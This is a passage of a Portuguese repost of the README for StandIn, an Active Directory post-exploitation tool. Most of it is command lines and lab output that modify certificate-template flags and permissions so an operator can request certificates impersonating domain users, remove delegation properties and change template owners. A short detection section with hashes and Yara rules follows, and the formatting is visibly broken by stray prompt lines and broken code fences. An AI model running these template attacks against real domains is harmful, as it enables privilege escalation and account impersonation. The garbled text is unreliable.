[+] countrycode |_ 0 [+] primarygroupid |_ 515 [+] whenchanged |_ 11/2/2020 7:55:14 PM [+] operatingsystemversion |_ 10.0 (18363) [+] dnshostname |_ m-10-1909-03.main.redhook.local [+] dscorepropagationdata |_ 10/30/2020 6:56:30 PM |_ 10/30/2020 10:55:22 AM |_ 10/29/2020 4:58:51 PM |_ 10/29/2020 4:58:29 PM |_ 1/1/1601 12:00:01 AM [+] lastlogon |_ 11/2/2020 9:07:20 AM UTC [+] distinguishedname |_ CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] msds-supportedencryptiontypes |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [+] samaccountname |_ M-10-1909-03$ [+] objectsid |_ S-1-5-21-1293271031-3053586410-2290657902-1127 [+] lastlogoff |_ 0 [+] msds-allowedtoactonbehalfofotheridentity |_ BinLen : 36 |_ AceQualifier : AccessAllowed |_ IsCallback : False |_ OpaqueLength : 0 |_ AccessMask : 983551 |_ SID : S-1-5-21-1293271031-3053586410-2290657902-1205 |_ AceType : AccessAllowed |_ AceFlags : None |_ IsInherited : False |_ InheritanceFlags : None |_ PropagationFlags : None |_ AuditFlags : None [+] accountexpires |_ 0x7FFFFFFFFFFFFFFF

root@kitploit:~
### Remover msDS-AllowedToActOnBehalfOfOtherIdentity

#### Caso de Uso

> *Com acesso de escrita a um objeto de máquina, esta função permite ao operador remover uma propriedade `msDS-AllowedToActOnBehalfOfOtherIdentity` anteriormente adicionada da máquina.*

#### Sintaxe

Remover a propriedade `msDS-AllowedToActOnBehalfOfOtherIdentity` criada anteriormente de uma máquina.```
C:\> StandIn.exe --computer m-10-1909-03 --remove

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=M-10-1909-03
    Path     : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] msDS-AllowedToActOnBehalfOfOtherIdentity property removed..

Serviços de Certificados do Active Directory (ADCS)

Estas são funções complementares ao Certify. Elas podem facilitar ataques a modelos onde o estado padrão do modelo não é utilizável imediatamente.

Lista

Caso de Uso

Esta função pode enumerar todas as CAs do domínio e listará todos os modelos publicados. Opcionalmente, você pode usar curinga --filter no nome completo do modelo ou em uma parte do nome.

Sintaxe

Pesquise todos os modelos publicados e, neste caso, filtre a saída para retornar apenas modelos que correspondam a web.``` C:>StandIn.exe --adcs --filter web

[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator

[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Server Authentication |_ Owner : REDHOOK\Enterprise Admins |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 1:57:16 PM

root@kitploit:~
### Autenticação de Cliente

#### Caso de Uso

> *Para poder gerar certificados que possam ser usados para se passar por usuários do Domínio, a propriedade `pKIExtendedKeyUsage` do modelo de certificado deve conter a flag `Client Authentication`. Com as permissões de `object permissions` apropriadas, esta função permite ao operador adicionar ou remover essa flag do modelo.*

#### Sintaxe

Adicionar/remover a flag `Client Authentication` do modelo `WebServer`. Aqui a flag `--filter` deve corresponder exatamente ao nome do modelo.```
C:\>StandIn.exe --adcs --filter WebServer --clientauth --add

[+] Search Base  : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA          : redhook-RH-DC01-CA
    |_ Template            : WebServer
    |_ Enroll Flags        : NONE
    |_ Name Flags          : ENROLLEE_SUPPLIES_SUBJECT
    |_ pKIExtendedKeyUsage : Server Authentication
    |_ Created             : 11/24/2021 4:37:30 PM
    |_ Modified            : 11/29/2021 2:40:06 PM

[+] Adding pKIExtendedKeyUsage : Client Authentication
    |_ Success

C:\>StandIn.exe --adcs --filter WebServer --clientauth --remove

[+] Search Base  : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA          : redhook-RH-DC01-CA
    |_ Template            : WebServer
    |_ Enroll Flags        : NONE
    |_ Name Flags          : ENROLLEE_SUPPLIES_SUBJECT
    |_ pKIExtendedKeyUsage : Client Authentication
    |                        Server Authentication
    |_ Created             : 11/24/2021 4:37:30 PM
    |_ Modified            : 11/29/2021 1:57:16 PM

[+] Removing pKIExtendedKeyUsage : Client Authentication
    |_ Success

ENROLLEE_SUPPLIES_SUBJECT

Caso de uso

Para poder fornecer uma identidade de usuário arbitrária ao fazer solicitações de certificado, a propriedade msPKI-Certificate-Name-Flag do modelo de certificado deve conter o sinalizador ENROLLEE_SUPPLIES_SUBJECT. Com as permissões de objeto apropriadas, esta função permite que o operador adicione ou remova esse sinalizador do modelo.

Sintaxe

Adicionar/remover o sinalizador ENROLLEE_SUPPLIES_SUBJECT do modelo WebServer. Aqui, o sinalizador --filter deve corresponder exatamente ao nome do modelo.``` C:>StandIn.exe --adcs --filter WebServer --ess --add

[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : 0 |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:50:34 PM

[+] Adding msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT |_ Success

C:>StandIn.exe --adcs --filter WebServer --ess --remove

[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:40:08 PM

[+] Removing msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT |_ Success

root@kitploit:~
### PEND_ALL_REQUESTS

#### Caso de Uso

> *Quando a propriedade `msPKI-Enrollment-Flag` do modelo de certificado contém a flag `PEND_ALL_REQUESTS`, todas as solicitações de certificado são colocadas em fila em um estado `pendente` e o `CA Certificate Manager` terá que aprovar essas solicitações. Isso não é desejável do ponto de vista de um atacante. Com as `object permissions` apropriadas, esta função permite que o operador adicione ou remova essa flag do modelo.*

#### Sintaxe

Adicionar/remover a flag `PEND_ALL_REQUESTS` do modelo `WebServer`. Aqui a flag `--filter` deve corresponder exatamente ao nome do modelo.```
C:\>StandIn.exe --adcs --filter WebServer --pend --remove

[+] Search Base  : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA          : redhook-RH-DC01-CA
    |_ Template            : WebServer
    |_ Enroll Flags        : PEND_ALL_REQUESTS
    |_ Name Flags          : ENROLLEE_SUPPLIES_SUBJECT
    |_ pKIExtendedKeyUsage : Client Authentication
    |                        Server Authentication
    |_ Created             : 11/24/2021 4:37:30 PM
    |_ Modified            : 11/29/2021 2:54:51 PM

[+] Removing msPKI-Enrollment-Flag : PEND_ALL_REQUESTS
    |_ Success

C:\>StandIn.exe --adcs --filter WebServer --pend --add

[+] Search Base  : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA          : redhook-RH-DC01-CA
    |_ Template            : WebServer
    |_ Enroll Flags        : NONE
    |_ Name Flags          : ENROLLEE_SUPPLIES_SUBJECT
    |_ pKIExtendedKeyUsage : Client Authentication
    |                        Server Authentication
    |_ Created             : 11/24/2021 4:37:30 PM
    |_ Modified            : 11/29/2021 2:50:37 PM

[+] Adding msPKI-Enrollment-Flag : PEND_ALL_REQUESTS
    |_ Success

Alterar Proprietário

Caso de Uso

Em alguns casos especiais, o operador pode ter permissões WriteOwner no template object. Quando outros ataques não são possíveis, o operador pode alterar o proprietário do template, o que concederá ao novo proprietário permissões GenericAll sobre o template. Este ataque não é muito desejável, veja caveats.

Sintaxe

Defina o Owner do template object para REDHOOK\MBWillett. Aqui a flag --filter deve corresponder exatamente ao nome do template.``` C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --owner

[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:58:19 PM

[+] Set object access rules

[+] Changing template owner : REDHOOK\MBWillett |_ Success

C:>StandIn.exe --adcs --filter WebServer

[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator

[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Owner : REDHOOK\MBWillett |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:05:45 PM

root@kitploit:~
#### Ressalvas

Este ataque vem com algumas restrições extras. Em testes de laboratório, descobri que quando um `user context` tinha o privilégio `WriteOwner`, esse usuário podia `only change the Owner to themselves`, pois qualquer outra identidade de usuário fazia a solicitação falhar. Além disso, uma vez alterado, o proprietário não podia ser revertido ao seu estado antigo, a menos que executado a partir de um contexto `Enterprise Admins`.

Essas restrições tornam este ataque indesejável; ele só deve ser usado se nenhuma outra opção estiver disponível. Para reverter ao antigo `Owner`, o operador pode gerar um certificado para um usuário `Enterprise Admins` e usar isso para alterar o proprietário de volta.```
# WebServer owned by REDHOOK\MBWillett & executing as "REDHOOK\MBWillett"
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\Enterprise Admins" --owner

[+] Search Base  : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA          : redhook-RH-DC01-CA
    |_ Template            : WebServer
    |_ Enroll Flags        : NONE
    |_ Name Flags          : ENROLLEE_SUPPLIES_SUBJECT
    |_ pKIExtendedKeyUsage : Client Authentication
    |                        Server Authentication
    |_ Created             : 11/24/2021 4:37:30 PM
    |_ Modified            : 11/29/2021 4:18:21 PM

[+] Set object access rules

[+] Changing template owner : REDHOOK\Enterprise Admins
[!] Failed to modify ADCS permissions..
    |_ A constraint violation occurred.

# WebServer owned by REDHOOK\MBWillett & executing in "REDHOOK\Enterprise Admins" context
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\Enterprise Admins" --owner

[+] Search Base  : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA          : redhook-RH-DC01-CA
    |_ Template            : WebServer
    |_ Enroll Flags        : NONE
    |_ Name Flags          : ENROLLEE_SUPPLIES_SUBJECT
    |_ pKIExtendedKeyUsage : Client Authentication
    |                        Server Authentication
    |_ Created             : 11/24/2021 4:37:30 PM
    |_ Modified            : 11/29/2021 3:05:45 PM

[+] Set object access rules

[+] Changing template owner : REDHOOK\Enterprise Admins
    |_ Success

Adicionar Permissão de Escrita

Caso de Uso

Permissões de escrita no modelo podem ser necessárias para realizar alguns dos outros template attacks descritos. Com as object permissions apropriadas, esta função permite ao operador adicionar ou remover permissões WriteDacl / WriteOwner / WriteProperty de uma NtAccount no template object.

Sintaxe

Adicionar/remover permissões Write sobre o modelo WebServer para REDHOOK\MBWillett. Aqui o sinalizador --filter deve corresponder exatamente ao nome do modelo.``` C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --write --add

[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:15:44 PM

[+] Set object access rules

[+] Adding write permissions : REDHOOK\MBWillett |_ Success

C:>StandIn.exe --adcs --filter WebServer

[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator

[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Owner : REDHOOK\Enterprise Admins |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\MBWillett | |_ Type : Allow | |_ Permission : WriteProperty, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:29:36 PM

C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --write --remove

[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:29:36 PM

[+] Set object access rules

[+] Removing write permissions : REDHOOK\MBWillett |_ Success

root@kitploit:~
### Adicionar Permissão de Certificate-Enrollment

#### Caso de Uso

> *Para poder solicitar `template certificates`, o `requestor` deve ter permissões de `Certificate-Enrollment`. Com as `object permissions` apropriadas, esta função permite ao operador adicionar ou remover permissões de `Certificate-Enrollment` de um `NtAccount` no `template object`.*

#### Sintaxe

Adicionar/remover permissões de `Certificate-Enrollment` no modelo `WebServer` para `REDHOOK\MBWillett`. Aqui a flag `--filter` deve corresponder exatamente ao nome do modelo.```
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --enroll --add

[+] Search Base  : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA          : redhook-RH-DC01-CA
    |_ Template            : WebServer
    |_ Enroll Flags        : NONE
    |_ Name Flags          : ENROLLEE_SUPPLIES_SUBJECT
    |_ pKIExtendedKeyUsage : Client Authentication
    |                        Server Authentication
    |_ Created             : 11/24/2021 4:37:30 PM
    |_ Modified            : 11/29/2021 3:29:57 PM

[+] Set object access rules

[+] Adding Certificate-Enrollment permission : REDHOOK\MBWillett
    |_ Success

C:\>StandIn.exe --adcs --filter WebServer

[+] Search Base  : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Certificate Authority  : redhook-RH-DC01-CA
    |_ DNS Hostname        : RH-DC01.redhook.local
    |_ Cert DN             : CN=redhook-RH-DC01-CA, DC=redhook, DC=local
    |_ GUID                : e1885348-e2b3-4e02-9147-54c4c430bc53
    |_ Published Templates : CrossCA
                             DirectoryEmailReplication
                             DomainControllerAuthentication
                             KerberosAuthentication
                             EFSRecovery
                             EFS
                             DomainController
                             WebServer
                             Machine
                             User
                             SubCA
                             Administrator

[>] Publishing CA          : redhook-RH-DC01-CA
    |_ Template            : WebServer
    |_ Schema Version      : 1
    |_ pKIExpirationPeriod : 2 years
    |_ pKIOverlapPeriod    : 6 weeks
    |_ Enroll Flags        : NONE
    |_ Name Flags          : ENROLLEE_SUPPLIES_SUBJECT
    |_ pKIExtendedKeyUsage : Client Authentication
    |                        Server Authentication
    |_ Owner               : REDHOOK\Enterprise Admins
    |_ Permission Identity : REDHOOK\Domain Admins
    |  |_ Type             : Allow
    |  |_ Permission       : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
    |  |_ Object           : ANY
    |_ Permission Identity : REDHOOK\Domain Users
    |  |_ Type             : Allow
    |  |_ Permission       : GenericAll
    |  |_ Object           : ANY
    |_ Permission Identity : REDHOOK\Enterprise Admins
    |  |_ Type             : Allow
    |  |_ Permission       : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
    |  |_ Object           : ANY
    |_ Permission Identity : REDHOOK\Domain Admins
    |  |_ Type             : Allow
    |  |_ Permission       : ReadProperty, WriteProperty, ExtendedRight
    |  |_ Object           : Certificate-Enrollment
    |_ Permission Identity : REDHOOK\Enterprise Admins
    |  |_ Type             : Allow
    |  |_ Permission       : ReadProperty, WriteProperty, ExtendedRight
    |  |_ Object           : Certificate-Enrollment
    |_ Permission Identity : REDHOOK\MBWillett
    |  |_ Type             : Allow
    |  |_ Permission       : ExtendedRight
    |  |_ Object           : Certificate-Enrollment
    |_ Created             : 11/24/2021 4:37:30 PM
    |_ Modified            : 11/29/2021 3:38:36 PM

C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --enroll --remove

[+] Search Base  : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local

[>] Publishing CA          : redhook-RH-DC01-CA
    |_ Template            : WebServer
    |_ Enroll Flags        : NONE
    |_ Name Flags          : ENROLLEE_SUPPLIES_SUBJECT
    |_ pKIExtendedKeyUsage : Client Authentication
    |                        Server Authentication
    |_ Created             : 11/24/2021 4:37:30 PM
    |_ Modified            : 11/29/2021 3:38:36 PM

[+] Set object access rules

[+] Removing Certificate-Enrollment permission : REDHOOK\MBWillett
    |_ Success

Detecção

Esta seção descreve uma série de IOCs que podem ajudar no processo de engenharia de detecção para o StandIn.

Hashes de Pacotes de Lançamento

A tabela a seguir mapeia os hashes dos pacotes de lançamento para o StandIn.``` -=v1.3=- StandIn_Net35.exe SHA256: C2ACD3667483E5AC1E423E482DBA462E96DA3978776BFED07D9B436FEE135AB2 MD5: 5E9364F46723B7DC5FF24DE6E9C69E76

StandIn_Net45.exe SHA256: 2E37A3D2DC2ECB0BD026C93055A71CAB4E568B062B1C9F7B8846E04DF1E9F3E6 MD5: 566FFA0555E81560407B8CE6E458E829

-=v1.2=- StandIn_Net35.exe SHA256: DCCDA4991BEBC5F2399C47C798981E7828ECC2BA77ED52A1D37BD866AD5582AA MD5: D11A8CC4768221CEB5A128A349C5E094

StandIn_Net45.exe SHA256: 24C53132B594B77D2109CAEE3E276EA4603EEF32BFECD5121746DB58258C50F7 MD5: DA2AFD1868FBEB9357C8D0FD62ED97EB

-=v0.8=- StandIn_Net35.exe SHA256: A0B3C96CA89770ED04E37D43188427E0016B42B03C0102216C5F6A785B942BD3 MD5: 8C942EE4553E40A7968FF0C8DC5DB9AB

StandIn_Net45.exe SHA256: F80AEB33FC53F2C8D6313A6B20CD117739A71382C208702B43073D54C9ACA681 MD5: 9E0FC3159A6BF8C3A8A0FAA76F6F74F9

-=v0.7=- StandIn_Net35.exe SHA256: A1ECD50DA8AAE5734A5F5C4A6A951B5F3C99CC4FB939AC60EF5EE19896CA23A0 MD5: 50D29F7597BF83D80418DEEFD360F093

StandIn_Net45.exe SHA256: DBAB7B9CC694FC37354E3A18F9418586172ED6660D8D205EAFFF945525A6A31A MD5: 4E5258A876ABCD2CA2EF80E0D5D93195

root@kitploit:~
#### Yara

As seguintes regras Yara podem ser usadas para detectar o StandIn no disco, em sua forma padrão.```js
rule StandIn
{
    meta:
        author = "Ruben Boonen (@FuzzySec)"
        description = "Detect StandIn string constants."

    strings:
        $s1 = "StandIn" ascii wide nocase
        $s2 = "(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" ascii wide nocase
        $s3 = "msDS-AllowedToActOnBehalfOfOtherIdentity" ascii wide nocase
        $s4 = ">--~~--> Args? <--~~--<" ascii wide nocase

    condition:
        all of ($s*)
}

rule StandIn_PDB
{
    meta:
        author = "Ruben Boonen (@FuzzySec)"
        description = "Detect StandIn default PDB."

    strings:
        $s1 = "\\Release\\StandIn.pdb" ascii wide nocase
	
    condition:
        all of ($s*)
}

SilktETW Microsoft-Windows-DotNETRuntime Regra Yara

A regra Yara abaixo pode ser usada para detectar o StandIn quando a execução ocorre a partir da memória. Para usar esta regra, a solução de EDR exigirá acesso ao provedor de dados ETW Microsoft-Windows-DotNETRuntime. Para fins de teste, esta regra pode ser avaliada diretamente usando SilkETW. Deve-se notar que esta é uma regra de exemplo genérica, alertas em produção exigiriam uma abordagem mais granular.```js rule Silk_StandIn_Generic { meta: author = "Ruben Boonen (@FuzzySec)" description = "Generic Microsoft-Windows-DotNETRuntime detection for StandIn."

root@kitploit:~
strings:
    $s1 = "\\r\\nFullyQualifiedAssemblyName=0;\\r\\nClrInstanceID=StandIn" ascii wide nocase
    $s2 = "MethodFlags=Jitted;\\r\\nMethodNamespace=StandIn." ascii wide nocase

condition:
    any of them

}

root@kitploit:~
![Help](https://assets.kitploit.com/production/public/readmes/4103/ef9a8b2388d9ea7f48d1d0c7c022fbdd2026138754857698eaa4b2bc352cc888.png)

## Agradecimentos Especiais

Quero agradecer rapidamente às pessoas que contribuíram com código e/ou correções de bugs para o `StandIn`.

[@G0ldenGunSec](https://twitter.com/G0ldenGunSec), [@matterpreter](https://twitter.com/matterpreter), [guervild](https://github.com/guervild)
Baixar ferramenta
@tifkin_
aqui
  • Listar
  • Autenticação do Cliente
  • ENROLLEE_SUPPLIES_SUBJECT
  • PEND_ALL_REQUESTS
  • Alterar Proprietário
  • Adicionar Permissão de Gravação
  • Adicionar Permissão de Inscrição de Certificado
  • Detecção
  • Agradecimentos Especiais